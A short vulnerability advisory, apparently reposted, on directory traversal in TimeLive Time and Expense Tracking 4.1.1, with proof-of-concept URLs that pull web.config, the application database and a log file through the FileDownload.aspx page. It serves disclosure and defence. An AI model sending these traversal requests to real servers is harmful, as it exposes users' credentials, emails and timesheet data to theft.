标题: TimeLive Time and Expense Tracking <= Multiple Vulnerabilities

缺陷类别: Directory Traversal / Remote Database Download / File Download / Source Code Disclosure

作者: Nathaniel Carew  www.2cto.com

级别：高

下载地址: http://www.livetecs.com/Release/TimeLiveWebSetup.exe

平台: ASP.NET

版本   : 4.1.1

测试平台: Windows Server Standard 2003 SP 2 / IIS 6

致谢  : Peregrinus & shiznat

概述:

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When using the import/export feature for csv/project/quickbooks files under:

 

http://www.2cto.com /TimeLive/AccountAdmin/AccountImportExport.aspx

 

You are able to modify the file download URL you are redirected too

and traverse directories to download the hosted files including the TimeLive database:

 

Proof of Concept:

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http://www.2cto.com /TimeLive/Shared/FileDownload.aspx?FileName=..\web.config

http://www.2cto.com /TimeLive/Shared/FileDownload.aspx?FileName=..\App_Data\TimeLive.mdf

http://www.2cto.com /TimeLive/Shared/FileDownload.aspx?FileName=..\Log\TimeLive.log

 

Impact:

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Successful exploitation could allow an attacker to download the complete database of users information

including email addresses, usernames and passwords and associated timesheet and expense data along with

any files contained within the subfolder of wwwroot.